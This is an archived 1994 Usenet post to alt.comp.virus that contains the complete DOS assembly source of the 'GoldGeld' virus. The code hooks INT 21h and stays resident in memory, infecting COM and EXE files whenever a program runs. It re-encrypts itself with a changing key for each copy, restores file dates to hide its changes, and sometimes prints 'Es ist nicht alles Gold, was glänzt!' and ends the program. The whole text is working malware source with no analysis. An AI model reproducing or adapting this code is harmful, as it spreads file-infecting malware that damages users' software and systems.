home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / G.ZIP / GOLDGELD.ZIP / goldgeld.asm
Assembly Source File  |  1994-11-29  |  12KB  |  362 lines

  1. From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:42 1994
  2. Xref: netcom.com alt.comp.virus:510
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: GoldGeld Virus
  7. Date: 29 Nov 1994 13:16:43 GMT
  8. Organization: Netcom
  9. Lines: 346
  10. Distribution: world
  11. Message-ID: <3bf9jr$igh@ixnews1.ix.netcom.com>
  12. References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
  13. NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
  14.  
  15.  
  16.     GOLD_GELD VIRUS
  17.  
  18.  
  19. model tiny                             ; Handy directive
  20. code                                   ; Virus code segment
  21.           org    0                      ; For easy calculation of 
  22. offsets
  23. id = 'SS'                               ; ID word for EXE infections
  24.  
  25. startvirus:
  26. decrypt:  loop decrypt                  ; handles encryption and 
  27. decryption
  28.           mov  bx,(offset heap - offset startencrypt)/2 ; iterations
  29. patch_startencrypt:
  30.           mov  bp,offset startencrypt   ; start of decryption
  31. decrypt_loop:
  32.           db   2eh,81h,46h,0            ; add word ptr cs:[bp], xxxx
  33. decrypt_value dw  0                     ; initialised at zero for null 
  34. effect
  35.           inc  bp                       ; calculate new decryption 
  36. location
  37.           inc  bp
  38.           dec  bx                       ; If we are not done, then
  39.           jnz  decrypt_loop             ; decrypt mo'
  40. startencrypt:
  41.           call next                     ; calculate delta offset
  42. next:     pop  bp                       ; bp = IP next
  43.           sub  bp,offset next           ; bp = delta offset
  44.  
  45.           push ds
  46.           push es
  47.  
  48.           mov  ax,'VC'                  ; Installation check
  49.           int  21h
  50.           cmp  ax,'PS'                  ; Already installed?
  51.           jz  done_install
  52.  
  53.           mov  ax, es                   ; Get PSP
  54.           dec  ax
  55.           mov  ds, ax                   ; Get MCB
  56.  
  57.           sub  word ptr ds:[3],((endheap-startvirus+1023)/1024)*64
  58.           sub  word ptr ds:[12h],((endheap-startvirus+1023)/1024)*64
  59.           mov  es,word ptr ds:[12h]
  60.  
  61.           push cs
  62.           pop  ds
  63.           xor  di,di                    ; Destination
  64.           mov  cx,(heap-startvirus)/2+1 ; Bytes to zopy
  65.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  66.           rep  movsw
  67.  
  68.           mov  di,offset encrypt
  69.           mov  si,bp                    ; lea  si,[bp+offset startvirus]
  70.           mov  cx,startencrypt-decrypt
  71.           rep  movsb
  72.           mov  al,0c3h                  ; retn
  73.           stosb
  74.  
  75.           xor  ax,ax
  76.           mov  ds,ax
  77.           sub  word ptr ds:[413h],(endheap-startvirus+1023)/1024
  78.           push ds
  79.           lds  ax,ds:[21h*4]            ; Get old int handler
  80.           mov  word ptr es:oldint21, ax
  81.           mov  word ptr es:oldint21+2, ds
  82.           pop  ds
  83.           mov  word ptr ds:[21h*4], offset int21 ; Replace with new 
  84. handler
  85.           mov  ds:[21h*4+2], es         ; in high memory
  86. done_install:
  87.           mov  ah,2ah                   ; Get current date
  88.           int  21h
  89.           cmp  dh,1                     ; Check month
  90.           jb   exit_virus
  91.           cmp  dl,1                     ; Check date
  92.           jb   exit_virus
  93.  
  94.           mov  ah,2ch                   ; Get current time
  95.           int  21h
  96.           cmp  dl,80                    ; Check the percentage
  97.           jae  activate
  98.  
  99. exit_virus:
  100.           pop  es
  101.           pop  ds
  102.           cmp  sp,id                    ; EXE or COM?
  103.           jz   returnEXE
  104. returnCOM:
  105.           lea  si,[bp+offset save3]
  106.           mov  di,100h
  107.           push di                       ; For later return
  108.           movsw
  109.           movsb
  110.           retn                          ; 100h is on stack
  111. returnEXE:
  112.           mov  ax,es                    ; AX = PSP segment
  113.           add  ax,10h                   ; Adjust for PSP
  114.           add  word ptr cs:[bp+oldCSIP+2],ax
  115.           add  ax,word ptr cs:[bp+oldSSSP+2]
  116.           cli                           ; Clear intrpts for stack 
  117. manipulation
  118.           mov  sp,word ptr cs:[bp+oldSSSP]
  119.           mov  ss,ax
  120.           sti
  121.           db   0eah                     ; jmp ssss:oooo
  122. oldCSIP   db ?                          ; Original CS:IP (4 bytes)
  123. save3     db 0cdh,20h,0                 ; First 3 bytes of COM file
  124. oldSSSP   dd ?                          ; Original SS:SP
  125.  
  126. activate:                              ; Conditions satisfied
  127.         mov     ah,9                   ;DOS print string function #
  128.         lea     dx,DString             ;point DX to the offset of 
  129. DataString
  130.         int     21h
  131.         mov     ah,4ch                 ;DOS terminate program function #
  132.         int     21h                    ;invoke DOS to end program
  133. DString      DB  'Es ist nicht alles Gold, was glänzt!$'
  134.  
  135.           jmp  exit_virus
  136.  
  137. int21:                                  ; New interrupt handler
  138.           cmp  ax,'VC'                  ; Installation check?
  139.           jnz  notinstall
  140.           mov  ax,'PS'
  141.           iret
  142. notinstall:
  143.           pushf
  144.           push ax
  145.           push bx
  146.           push cx
  147.           push dx
  148.           push si
  149.           push di                       ; don't need to save bp
  150.           push ds
  151.           push es
  152.           cmp  ax,4b00h                 ; Infect on execute
  153.           jz   infectDSDX
  154. exithandler:
  155.           pop  es
  156.           pop  ds
  157.           pop  di
  158.           pop  si
  159.           pop  dx
  160.           pop  cx
  161.           pop  bx
  162.           pop  ax
  163.           popf
  164.           db 0eah                       ; JMP SSSS:OOOO
  165. oldint21  dd ?                          ; Go to orig handler
  166.  
  167. infectDSDX:
  168.           mov  ax,4300h
  169.           int  21h
  170.           push ds
  171.           push dx
  172.           push cx                       ; Save attributes
  173.           xor  cx,cx                    ; Clear attributes
  174.           call attributes               ; Set file attributes
  175.  
  176.           mov  ax,3d02h                 ; Open read/write
  177.           int  21h
  178.           xchg ax,bx
  179.  
  180.           mov  ax,5700h                 ; Get creation date/time
  181.           int  21h
  182.           push cx                       ; Save date and
  183.           push dx                       ; time
  184.  
  185.           push cs                       ; DS = CS
  186.           pop  ds
  187.           push cs                       ; ES = CS
  188.           pop  es
  189.           mov  ah,3fh                   ; Read file to buffer
  190.           mov  dx,offset buffer         ; @ DS:DX
  191.           mov  cx,1Ah                   ; 1Ah bytes
  192.           int  21h
  193.  
  194.           mov  ax,4202h                 ; Go to end of file
  195.           xor  cx,cx
  196.           cwd
  197.           int  21h
  198.  
  199.           mov  word ptr filesize,ax
  200.           mov  word ptr filesize+2,dx
  201.           cmp  word ptr buffer,'ZM'     ; EXE?
  202.           jz   checkEXE                 ; Why yes, yes it is!
  203. checkCOM:
  204.           mov  ax,word ptr filesize
  205.           mov  cx,word ptr buffer+1     ; get jmp location
  206.           add  cx,heap-startvirus+3     ; Adjust for virus size
  207.           cmp  ax,cx                    ; Already infected?
  208.           je   done_file
  209.           jmp  infect_com
  210. checkEXE:
  211.           cmp  word ptr buffer+10h,id   ; is it already infected?
  212.           jnz  infect_exe
  213. done_file:
  214.           mov  ax,5701h                 ; Restore creation date/time
  215.           pop  dx                       ; Restore date and
  216.           pop  cx                       ; time
  217.           int  21h
  218.  
  219.           mov  ah,3eh                   ; Close file
  220.           int  21h
  221.  
  222.           pop  cx
  223.           pop  dx
  224.           pop  ds                       ; Restore filename
  225.           call attributes               ; attributes
  226.  
  227.           jmp  exithandler
  228. infect_exe:
  229.           mov  cx, 1ah
  230.           push cx
  231.           push bx                       ; Save file handle
  232.           les  ax,dword ptr buffer+14h  ; Save old entry point
  233.           mov  word ptr oldCSIP, ax
  234.           mov  word ptr oldCSIP+2, es
  235.  
  236.           les  ax,dword ptr buffer+0Eh  ; Save old stack
  237.           mov  word ptr oldSSSP,es
  238.           mov  word ptr oldSSSP+2,ax
  239.  
  240.           mov  ax,word ptr buffer+8     ; Get header size
  241.           mov  cl, 4                    ; convert to bytes
  242.           shl  ax, cl
  243.           xchg ax, bx
  244.  
  245.           les  ax,dword ptr filesize    ; Get file size
  246.           mov  dx, es                   ; to DX:AX
  247.           push ax
  248.           push dx
  249.  
  250.           sub  ax, bx                   ; Subtract header size from
  251.           sbb  dx, 0                    ; file size
  252.  
  253.           mov  cx, 10h                  ; Convert to segment:offset
  254.           div  cx                       ; form
  255.  
  256.           mov  word ptr buffer+14h, dx  ; New entry point
  257.           mov  word ptr buffer+16h, ax
  258.  
  259.           mov  word ptr buffer+0Eh, ax  ; and stack
  260.           mov  word ptr buffer+10h, id
  261.  
  262.           pop  dx                       ; get file length
  263.           pop  ax
  264.           pop  bx                       ; Restore file handle
  265.  
  266.           add  ax, heap-startvirus      ; add virus size
  267.           adc  dx, 0
  268.  
  269.           mov  cl, 9
  270.           push ax
  271.           shr  ax, cl
  272.           ror  dx, cl
  273.           stc
  274.           adc  dx, ax
  275.           pop  ax
  276.           and  ah, 1                    ; mod 512
  277.  
  278.           mov  word ptr buffer+4, dx    ; new file size
  279.           mov  word ptr buffer+2, ax
  280.  
  281.           push cs                       ; restore ES
  282.           pop  es
  283.  
  284.           mov  ax,word ptr buffer+14h   ; needed later
  285.           jmp  short finishinfection
  286. infect_com:                             ; ax = filesize
  287.           mov  cx,3
  288.           push cx
  289.           sub  ax,cx
  290.           mov  si,offset buffer
  291.           mov  di,offset save3
  292.           movsw
  293.           movsb
  294.           mov  byte ptr [si-3],0e9h
  295.           mov  word ptr [si-2],ax
  296.           add  ax,103h
  297. finishinfection:
  298.           add  ax,offset startencrypt-offset decrypt
  299.           mov  word ptr encrypt+(patch_startencrypt-startvirus)+1,ax
  300.  
  301.           mov  ah,2ch                   ; Get current time
  302.           int  21h                      ; dh=sec,dl=1/100 sec
  303.           mov  word ptr encrypt+(decrypt_value-startvirus),dx ; New 
  304. encrypt. value
  305.           xor  byte ptr encrypt+(decrypt_loop-startvirus)+2,028h ; flip 
  306. between add/sub
  307.  
  308.           xor  si,si                    ; copy virus to buffer
  309.           mov  di,offset zopystuff
  310.           mov  cx,heap-startvirus
  311.           rep  movsb
  312.  
  313.           mov  si,offset encrypt        ; copy encryption function
  314.           mov  di,offset zopystuff
  315.           mov  cx,startencrypt-decrypt
  316.           rep  movsb
  317.  
  318.           xor  byte ptr zopystuff+(decrypt_loop-startvirus)+2,028h ; 
  319. flip between add/sub
  320.  
  321.           mov  word ptr 
  322. [encrypt+(patch_startencrypt-startvirus)+1],offset 
  323. zopystuff+(startencrypt-decrypt)
  324.  
  325.           push bp
  326.           push bx
  327.           call encrypt
  328.           pop  bx
  329.           pop  bp
  330.  
  331.           mov  ah,40h                   ; Concatenate virus
  332.           mov  dx,offset zopystuff
  333.           mov  cx,heap-startvirus       ; # bytes to write
  334.           int  21h
  335.  
  336.           mov  ax,4200h                 ; Move file pointer
  337.           xor  cx,cx                    ; to beginning of file
  338.           cwd                           ; xor dx,dx
  339.           int  21h
  340.  
  341.           mov  ah,40h                   ; Write to file
  342.           mov  dx,offset buffer         ; Write from buffer
  343.           pop  cx                       ; cx bytes
  344.           int  21h
  345.  
  346.           jmp  done_file
  347.  
  348. attributes:
  349.           mov  ax,4301h                 ; Set attributes to cx
  350.           int  21h
  351.           ret
  352.  
  353. heap:                                   ; Variables not in code
  354. filesize  dd ?
  355. encrypt:  db startencrypt-decrypt+1 dup (?)
  356. zopystuff db heap-startvirus dup (?)    ; Encryption buffer
  357. buffer    db 1ah dup (?)                ; read buffer
  358. endheap:                                ; End of virus
  359. end       startvirus
  360.  
  361.  
  362.